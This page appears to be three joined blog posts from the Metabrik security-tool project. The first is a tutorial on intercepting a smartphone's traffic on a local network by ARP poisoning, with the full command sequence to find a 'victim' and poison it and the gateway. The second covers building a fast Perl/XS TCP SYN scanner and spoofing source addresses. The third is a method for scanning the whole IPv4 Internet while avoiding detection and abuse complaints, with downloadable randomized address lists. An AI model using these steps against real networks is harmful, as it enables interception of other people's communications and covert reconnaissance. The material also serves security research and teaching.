Is Telegram using encryption? How to discover it easily by yourself – Part 1

It is said that, by default, messages sent to a contact through Telegram -a messaging application for smartphones- are not encrypted. You have to enter a specific menu named “New Secret Chat” to enable end-to-end encryption. Let’s verify it is indeed the case by using some Briks.
 
Try by yourself using the Docker image:

docker pull metabrik/metabrik
docker run -it metabrik/metabrik

Let’s load some Briks for the work

We will need to perform a Man-in-The-Middle (MiTM) attack on our local network to allow interception of traffic from a smartphone to Telegram servers or remote peers. The network::arp Brik has such a function. We will also need to become a router, or the traffic will be lost: network::route comes to the rescue. Then we will have to analyse the traffic itself, we will use Briks network::read, network::stream and client::whois to locate Telegram IP addresses. We will also use lookup::oui to find a potential smartphone on the network.

use network::arp
use network::route
use network::read
use network::stream
use lookup::oui
use client::whois

screenshot-002
Also, you have to execute an update Command on the lookup::oui Brik so it fetches the file from IEEE organization.

run lookup::oui update

Performing the MiTM attack

We will use ARP poisoning to perform a standard LAN MiTM attack. But we don’t want to poison everyone, we just want to listen to a smartphone traffic. We will use some ARP scanning technics to gather available neighbors, and we will perform a lookup on the MAC address to retrieve the vendor. This information will directly lead us to a smartphone.

run network::arp scan
my $scan = $RUN
my $mac = [ keys %{$RUN->{by_mac}} ]
run lookup::oui from_hex $mac->[0]
run lookup::oui from_hex $mac->[1]

screenshot-004
Looks like we have found a Motorola smartphone. Perfect target for us. To gather its IP address, just issue a Command to ask data from a saved variable:

my $victim = $scan->{by_mac}{"5c:51:88:XX:XX:XX"}

screenshot-005
Now, we want to intercept traffic between the victim and the Internet. Thus, we will attack the gateway. We have to find its IP address, configure our host as a network router, and we will be ready to perform the ARP poisoning:

my $victim = "192.168.1.20"
run network::route default_ipv4_gateway
my $gateway = $RUN
run network::route enable_router_ipv4
run network::arp full_poison $victim $gateway

screenshot-006

Conclusion

We have seen how to scan the local network in search for a specific device and how to launch a Man-in-The-Middle attack. This concludes the first part of this article. You may think it is a little bit short, but you will probably be eager to read the next part 🙂

Why Writing A TCP SYN Scanner In Perl Can Be Efficient

Everyone wants to write (or already did) its own TCP SYN scanner. Why? Because it is a fun exercise which will teach you a lot of things, like what raw sockets are and, more importantly, how to build packets.

Perl for the task

Some may argue that using Perl would be inefficient for such a task. Plain false. You can use Perl/XS to write part(s) of a program that require performance. That’s what we did with Net::Write::Fast: a module able to send packets over the network at speed of wires.

Design goals behind Net::Write::Fast

A few design goals were followed when writing this module:

  • TCP SYN scanner working over IPv4 and IPv6
  • Portable on at least Linux, FreeBSD and MacOS X
  • Perform a scan in a predictable way: we know when it will finish
  • Send packets over a transport layer socket

The transport layer socket

Usually, people tend to write packets using raw sockets directly from the network layer, requiring them to also craft the IP layer. And that’s a total waste of code and time. You can send your TCP or UDP packets without having to craft the IP header; no need to use the include IP header socket option.

To make it short, opening a raw socket within Net::Write::Fast was as simple as:

int fd;
fd = socket(v6 ? AF_INET6 : AF_INET, SOCK_RAW, IPPROTO_TCP);

The TCP header

So you did open a raw socket at the transport layer, now you just need to write the TCP layer. You don’t have to care about IP layer at all, and the differences of endianess from OS to OS for some of its fields (header length, for instance). Well, you still have to write the pseudo header so you can compute TCP checksum, but that’s another story.

Glueing C code to Perl

Full Perl/XS code can be found here. It is exactly like standard C code. But for the C function to be callable from Perl, we need to add a binding. It is a little bit tricky when you want to do it right. The prototype of the function is:

int
l4_send_tcp_syn_multi(src, dst, ports, pps, n, v6, warnings = NO_INIT)
      char *src
      SV   *dst
      SV   *ports
      int   pps
      int   n
      int   v6
      int   warnings

A forked sender process and a listener

Now everything is in place to send packets at the speed of wires. We still have to think about listening for answers and parsing them. Here, no need for Perl/XS for the listening task: you have Net::Frame::Dump module which is a pure Perl one.

Now, we need proof

Here is a screenshot from a TCP SYN scan of the TOP 1000 most common ports on the local network (256 hosts). We configure the scanner to send 2 times a probe, at a rate of 100 000 packets per second. If you do your math, you will see it should take 5 seconds and consume around 8 MB of bandwidth per second. One packet takes 20 bytes for IP header followed by 60 bytes for the TCP header plus its full options.

Of course, you can send at a greater speed, or change the number of tries to tweak your scanning process. Screenshot:

screenshot

So, it took a little bit more than the 5 seconds estimation, but you have 2 or 3 seconds needed by the program to load and compile, and to wait at the end of sending process to gather remaining replies.

But what about IP source address spoofing?

Some may argue that we cannot spoof source IP address using transport layer sending. And that’s just wrong. You can do it by just adding an alias to your network interface, and using that as the source address for sending packets. It will be used right away by your transport layer raw socket.

Tweaking your TCP/IP stack

Under GNU/Linux, don’t forget to increase your send buffers. Or you will have the following error:

WARNING: Net::Write::Fast: sendto: ENOBUFS, sleeping for 1 second

# Increase send buffer to 100 MB
sysctl -w net.core.wmem_max=109051904
sysctl -w net.core.wmem_default=109051904

Conclusion

Writing a TCP SYN scanner in Perl is reliable, fast, and predictable. And of course, there is now a Brik for that within Metabrik, it is named network::portscan. Happy scanning, and don’t forget to follow us on Twitter: @metabrik.

Scanning The Internet: How To Not Get Caught

Scanning the Internet is a task undertaken for different purposes. Good guys are doing it for research purposes, like obtaining statistics, and bad guys to gather easy targets to exploit. A key point for both is to not be detected, and not raise abuse complaints. We propose a method to scan the full Internet IPv4 address space with the goal to avoid easy detection.

Counting the number of possible targets

A first step is to list the number of “routable” IPv4 addresses. An IPv4 address is made of 32-bits, thus the total number is:

% echo "2 ^ 32" |bc
4294967296

It’s around 4.3 billion addresses. But from this full range, we can remove subnets that should not be used on the Internet. Some of these subnets are listed on RFC3330 standard. For our methodoly, we decided to not remove those reserved for future allocation. Of course, we have run out of IPv4 addresses, so these subnets will probably be attributed. We end up with the following list of IPv4 addresses to remove for our scanning purposes:

0.0.0.0/8      : 16777216 addresses
10.0.0.0/8     : 16777216 addresses
127.0.0.0/8    : 16777216 addresses
169.254.0.0/16 : 65536 addresses
172.16.0.0/12  : 1048576 addresses
192.0.2.0/24   : 256 addresses
192.168.0.0/16 : 65536 addresses
224.0.0.0/4    : 268435456 addresses
240.0.0.0/4    : 268435456 addresses
Full space     : 4294967296 addresses
Reduced space  : 3706584832 addresses

By removing these subnets, we have a final number of targets around 3.7 billion addresses. We could also have removed network and broadcast adresses, but given the dynamic nature of the Internet, we preferred to not follow that path. Furthermore, you would have to gather all registered subnets to know these special addresses, and it would make the generation of addresses a little bit harder (and longer).

Divide and conquer

Our methodoly for scanning the full Internet and not get caught fulfills these goals:

  • allows distributed scanning without overlaps from different scanners
  • stealthiness to avoid abuse complaints from target administrators
  • gentle against target subnets by not sending too much trafic to a single subnet

To cope with these needs, we decided to generate randomly all the possible 3.7 billion addresses, one time. We split the IPv4 address space into 1000 chunks, to allow distributed scanning without overlaps. 1/1000th of the Internet is around 3.7 million addresses. We used the following Perl script to generate 1000 files, each of them containing one address per line. To have a complete level of randomization, after the script has ended generating the 1000 chunks, we used the `shuffle’ Linux command against each file.

Here is a sample of the 10 first addresses found in one chunk:

% head -n 10 ip4-space-100.txt
207.100.116.47
181.197.55.55
46.29.180.153
130.24.211.155
114.202.145.13
45.144.69.24
177.189.197.238
152.14.200.56
7.12.20.49
177.66.110.168

Rainbow tables of Internet scanning

Yes, you can think of these files as the rainbow tables of Internet scanning. We decided to publish 10 of them (to limit the bandwidth taken from our server when you download them). Each file takes around 20 MB, gzipped. This allows you to use these rainbow tables to perform scanning against 1% of the Internet IPv4 address space.

To download them, you have to run the following script:

for i in 100 101 102 103 104 105 106 107 108 109; do
   wget http://www.metabrik.org/wp-content/uploads/2015/02/ip4-space-$i.txt.gz
done

Happy scanning.